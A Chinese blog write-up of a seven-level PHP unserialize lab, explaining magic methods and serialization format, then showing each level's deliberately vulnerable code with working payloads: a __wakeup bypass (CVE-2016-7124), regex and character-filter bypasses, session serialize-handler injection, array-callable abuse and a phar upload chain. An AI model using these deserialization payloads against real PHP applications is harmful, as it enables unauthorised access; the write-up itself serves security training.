IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> unserialize入门练习 -> 正文阅读

[PHP知识库]unserialize入门练习

知识点

必须知道的魔术方法

__construct(),类的构造函数
__destruct(),类的析构函数
__call(),在对象中调用一个不可访问方法时调用
__callStatic(),用静态方式中调用一个不可访问方法时调用
__get(),获得一个类的成员变量时调用
__set(),设置一个类的成员变量时调用
__isset(),当对不可访问属性调用isset()或empty()时调用
__unset(),当对不可访问属性调用unset()时被调用。
__sleep(),执行serialize()时,先会调用这个函数
__wakeup(),执行unserialize()时,先会调用这个函数
__toString(),类被当成字符串时的回应方法
__invoke(),调用函数的方式调用一个对象时的回应方法
__set_state(),调用var_export()导出类时,此静态方法会被调用。
__clone(),当对象复制完成时调用
__autoload(),尝试加载未定义的类
__debugInfo(),打印所需调试信息
  1. __construct():当对象创建时会自动调用(但在unserialize()时是不会自动调用的)。

  2. __ wakeup() :unserialize()时会自动调用

  3. __destruct():当对象被销毁时会自动调用。

  4. __ toString():当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用

  5. __get() :当从不可访问的属性读取数据

  6. __call(): 在对象上下文中调用不可访问的方法时触发

__toString 触发的条件比较多,单独列出来:

(1)echo ($obj) / print($obj) 打印时会触发
(2)反序列化对象与字符串连接时
(3)反序列化对象参与格式化字符串时
(4)反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)
(5)反序列化对象参与格式化SQL语句,绑定参数时
(6)反序列化对象在经过php字符串函数,如 strlen()、addslashes()时
(7)在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有toString返回的字符串的时候toString会被调用
(8)反序列化的对象作为 class_exists() 的参数的时候

写一下序列化/反序列化的代码规范:

<?php
class just4fun{
	var $secret;
	var $enter;
}
# 序列化与反序列化范例
$o1=new just4fun(); # 实例化该类
$o1->secret='aaa'; # 给实例中的一些变量赋值
$o1_ser=serialize($o1); # 序列化该实例
print_r($o1_ser); # 输出序列化后的内容
echo("\n"); # 输出换行,必须用双引号
print_r(unserialize($o1_ser)); # 输出反序列化后的内容 
echo("\n");
echo("\n");
# 序列化与指向引用的结合使用
$o2=new just4fun();
$o2->enter=&$o2->secret; # 此处的enter的值是引用的secret的值,使用符号:&
$o2_ser=serialize($o2);
print_r($o2_ser);
echo("\n");
print_r(unserialize($o2_ser));
echo("\n");
?>
//$this在OOP中就是伪变量,(伪变量不是真正的变量,只是形式上是变量,变量中存储的是固定的值,$this中并没有,哪个对象调用,$this就代表哪个对象。)同时,也可以将$this理解为对象的引用,$this通过引用的形式访问一个对象的方法和属性    

序列化格式中的字母含义:

a - array                    b - boolean  
d - double                   i - integer
o - common object            r - reference
s - string                   C - custom object
O - class                  N - null
R - pointer reference      U - unicode string

回调函数的概念

通俗的来说,回调函数是一个我们定义的函数,但是不是我们直接来调用,而是通过另一个函数来调用,这个函数通过接收回调函数的名字和参数来实现对它的调用。

反序列化靶场

第一关(__wakeup)

<?php 
class SoFun{ 
  protected $file='index.php';
  function __destruct(){
    if(!empty($this->file)) {
      if(strchr($this-> file,"\\")===false &&  strchr($this->file, '/')===false)
        show_source(dirname (__FILE__).'/'.$this ->file);
      else
        die('Wrong filename.');
    }
  }  
  function __wakeup(){
   $this->file='index.php';
  } 
}     
if (!isset($_GET['tryhackme'])){ 
  show_source(__FILE__);
}
else{ 
  $a=$_GET['tryhackme']; 
  unserialize($a); 
}
 ?><!--key in flag1.php-->

代码审计:后台接收一个tryhackme参数,进行反序列化。__wakeup()会在反序列化(unserialize)的时候进行调用,将file属性赋值为index.php。这个并不是我们想要的,我们需要的在flag1.php里面。所以需要绕过__wakeup魔术方法。__wakeup()函数失效引发漏洞(CVE-2016-7124):漏洞影响版本PHP5 < 5.6.25

or PHP7 < 7.0.10

漏洞原理:__wakeup触发于unserilize()调用之前,但是如果被反序列话的字符串其中对应的对象的属性个数发生变化时,会导致反序列化失败而同时使得__wakeup失效。

因此可以构造payload:

//其序列化原本属性为1,绕过__wwakeup将其改为了3
un1.php?tryhackme=O:5:"SoFun":3:{s:7:"%00*%00file";s:9:"flag1.php";}

另外提一下访问控制:

  • **public(公有):**公有的类成员可以在任何地方被访问。
  • **protected(受保护):**受保护的类成员则可以被其自身以及其子类和父类访问。
  • **private(私有):**私有的类成员则只能被其定义所在的类访问。

访问控制在序列化的时候有自己单独的格式(不可见字符)。private是在类名首尾加%00,protected则是在*两端加%00。

绕过之后即可获得flag:flag{1t'5_3@5y_t0_6yp@55_w@k34p}

第二关(Plus)

<?php
include "flag2.php"; 
class funny{
    function __wakeup(){
        global $flag;
        echo $flag;
    }
}
if (isset($_GET['tryhackme'])){
    $a = $_GET['tryhackme'];
    if(preg_match('/[oc]:\d+:/i', $a)){
        die("NONONO!");
    } else {
        unserialize($a);
    }
} else {
    show_source(__FILE__);
}

 ?>

这一关只要触发__wakeup魔术方法就可以拿到flag。只有一个正则函数preg_match(),只需要在对象长度前添加一个+号,即o:14->o:+14,这样就可以绕过正则匹配。

不过这里我有个疑问,我直接传递payload:

?tryhackme=O:+5:"funny":0:{}

并没有获取到flag,而是在进行了一次urlencode之后才拿到了flag,这里面又没有privateprotected,不解~~~。

flag:flag{p145_15_900d!}

第三关(Bypass)

<?php
include "flag3.php"; 
class funny{
    private $password;
    public $verify;
    function __wakeup(){
        global $nobodyknow;
        global $flag;
        $this->password = $nobodyknow;
        if ($this->password === $this->verify){
            echo $flag;
        } else {
            echo "浣犱笉澶鍟�??!";
        }
    }
}
if (isset($_GET['tryhackme'])){
$a = $_GET['tryhackme'];
unserialize($a);
} else {
    show_source(__FILE__);
}
?>

这一关的核心就是需要:

$this->password === $this->verify

这个写法在最开始的代码规范里面就有写到,所以这里我就直接放我的代码了:

<?php
class funny{
    private $password;
    public $verify;
    function __construct(){
        $this->verify = &$this->password;
    }
}
$d = new funny();
$data = serialize($d);
echo $data;
echo urlencode($data);//因为这里有private所以进行一下url编码
?>

最后拿到flag:flag{7r1p13_3q4@1s_is_9reat!}

第四关(Session)

<?php
// goto un42.php
ini_set('session.serialize_handler','php_serialize');
session_start();
if (isset($_GET['tryhackme'])){
$_SESSION['tryhackme'] = $_GET['tryhackme'];
} else {
show_source(__FILE__);
}
?>

看到了session,直接想到了引擎不同导致的漏洞(使用不当产生)。先补充内容知识点:

php.ini中一些Session配置:
session.save_path="" --设置session的存储路径
session.save_handler=""--设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start boolen--指定会话模块是否在请求开始时启动一个会话默认为0不启动
session.serialize_handler string--定义用来序列化/反序列化的处理器名字。默认使用php

处理器:
php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值

php:存储方式是,键名+竖线+经过serialize()函数序列处理的值

php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值
//这个便是在相应的处理器处理下,session所存储的格式。

然后话说回来,题目中告诉我们goto un42.php,访问查看

<?php
include "flag4.php"; 
ini_set('session.serialize_handler','php');
session_start();
class funny{
    public $a;
    function __destruct(){
        global $flag;
        echo $flag;
    }
}
show_source(__FILE__);
?>

果然获取flag的页面使用的是php而赋值页面则是php_serialize。代码审计知道,只要触发funny就可以拿到flag了。

构造payload:

|O:5:"funny":1:{s:1:"a";N;}

在赋值页面传入即可在获取flag的页面拿到flag了

flag:flag{53ssi0n_4ns3r@lize_is_very_e@sy}

第五关(Unserialize)

<?php
include "flag5.php";
class funny{
    private $a;
    function __construct() {
        $this->a = "givemeflag";
    }
    function __destruct() {
        global $flag;
        if ($this->a === "givemeflag") {
            echo $flag;
        }
    }
}

if (isset($_GET['tryhackme']) && is_string($_GET['tryhackme'])){
$a = $_GET['tryhackme'];
for($i=0;$i<strlen($a);$i++)
{
    if (ord($a[$i]) < 32 || ord($a[$i]) > 126) {
        die("浣犲埌搴曡涓嶈鍟�");
    }
}
unserialize($a);
} else {
    show_source(__FILE__);
}
?>

代码审计知道,只要反序列化后$a=givemeflag就可以拿到flag。不过这一关有一个:

for($i=0;$i<strlen($a);$i++)
{
    if (ord($a[$i]) < 32 || ord($a[$i]) > 126) {
        die("浣犲埌搴曡涓嶈鍟�");
    }
}

类funny里的$a的访问控制是private显然%00在这里就会被过滤掉。但是在反序列化的数据类型里默认字符串使用的标识是小s,这里可以使用大S进行绕过。

**补充:**大写的S是可以支持十六进制编码(xx),并在反序列化的时候解析十六进制
所以构造payload:

?tryhackme=O:5:"funny":1:{S:8:"\00funny\00a";s:10:"givemeflag";}

获得flag :flag{7h3_61n@ry_5tr1n9_5_i5_int3r3sting}

第六关(Array)

<?php
include "flag6.php";
ini_set('display_errors',true);
error_reporting(E_ALL | E_STRICT); 
class funny{
    public function pyflag(){
        global $flag;
        echo $flag;
    }
}

if (isset($_GET['tryhackme']) && is_string($_GET['tryhackme'])){
$a = unserialize($_GET['tryhackme']);
$a();
} else {
    show_source(__FILE__);
}
?>

**考点:**php动态执行/调用函数/成员函数的能力,即使用变量名后加括号的方式来对函数进行调用。

举例1:

1. 定义一个函数
2. 将函数名(字符串)赋值给一个变量
3. 使用变量名代替函数名动态调用函数
例:
<?php
 function addition ($a, $b){
   echo ($a + $b), "\n";
 }
 $result = "addition";
 $result (1,2);
?>

举例2:动态调用函数:

<?php
function test1(){echo"a";}
function test2($x){echo $x;}
function test3($x,$y){echo $x.$y;}
call_user_func("test1");
call_user_func("test2","b");
call_user_func("test3","c","d");
?>

举例3:动态调用成员函数:

<?php
class A{

function test1(){echo"a";}
function test2($x){echo $x;}
function test3($x,$y){echo $x.$y;}
}
$obj=new A;
call_user_func(array($obj,"test1"));
call_user_func(array($obj,"test2"),"b");
call_user_func(array($obj,"test3"),"c","d");
?>

构造payload:

<?php
class funny{
    public function pyflag(){
        global $flag;
        echo $flag;
    }
}
$d = new funny();
$data=array($d,"pyflag");
$a = serialize($data);
echo $a;
?>
?tryhackme=a:2:{i:0;O:5:"funny":0:{}i:1;s:6:"pyflag";}

获得flag:flag{Arr@y_c@11_1n5t@nc3_m3th0d}

第七关(Phar)

<?php
include "flag7.php";
class funny{
    function __destruct() {
        global $flag;
        echo $flag;
    }
}

show_source(__FILE__);
if (isset($_GET['action'])) {
    $a = $_GET['action'];
    if ($a === "check") {
        $b = $_GET['file'];
        if (file_exists($b) && !empty($b)) {
            echo "$b is exist!";
        }
    } else if ($a === "upload") {
        if (!is_dir("./upload")){
            mkdir("./upload");
        }
        $filename = "./upload/".rand(1, 10000).".txt";
        if (isset($_GET['data'])){
            file_put_contents($filename, base64_decode($_GET['data']));
            echo "Your file path:$filename";
        }
    }
}
?>

这是一个phar伪协议触发的php反序列化。

审计代码:file_exists()函数参数可控,存在upload可以上传文件。满足phar伪协议触发php反序列化的利用条件。

构造:

<?php
    class funny{
    }
    $phar = new Phar("7.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("anyhead"."<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new funny();
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
    $data = file_get_contents('./7.phar');
    echo base64_encode($data);
?>

这里有个疑问,我查阅了好多的博客,基本都没有说明为什么。

$phar->setStub("anyhead"."<?php __HALT_COMPILER(); ?>");

这里的setStub里面我看常规的基本上分为三类:不带头、用gif头和这个anyhead。但是却没有说明为什么要用这个anyhead,我尝试不带头或者带gif文件的头这个题都做不出来。(虽然它的名字很好理解,但是我看到的师傅的博客描述都是说只需要保证结尾为__HALT_COMPILER();即可)

回到题目,得到:

YW55aGVhZDw/cGhwIF9fSEFMVF9DT01QSUxFUigpOyA/Pg0KRgAAAAEAAAARAAAAAQAAAAAAEAAAAE86NToiZnVubnkiOjA6e30IAAAAdGVzdC50eHQEAAAALkwdYQQAAAAMfn/YtgEAAAAAAAB0ZXN00/o0rYD23J7lQlO6nsUa49DN2QcCAAAAR0JNQg==

先上传数据:

?action=upload&data=YW55aGVhZDw/cGhwIF9fSEFMVF9DT01QSUxFUigpOyA/Pg0KRgAAAAEAAAARAAAAAQAAAAAAEAAAAE86NToiZnVubnkiOjA6e30IAAAAdGVzdC50eHQEAAAALkwdYQQAAAAMfn/YtgEAAAAAAAB0ZXN00/o0rYD23J7lQlO6nsUa49DN2QcCAAAAR0JNQg==

然后得到路径:./upload/7329.txt

利用phar伪协议访问:

?action=check&file=phar://./upload/7329.txt

得到flag:flag{pH4r_lS_4Unny!!}

参考学习链接

  1. https://www.cnblogs.com/bmjoker/p/13742666.html
  2. https://www.cnblogs.com/fish-pompom/p/11126473.html
  3. https://www.k0rz3n.com/2018/11/19/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-08-29 08:52:47  更:2021-08-29 08:53:37 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/15 10:50:43-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码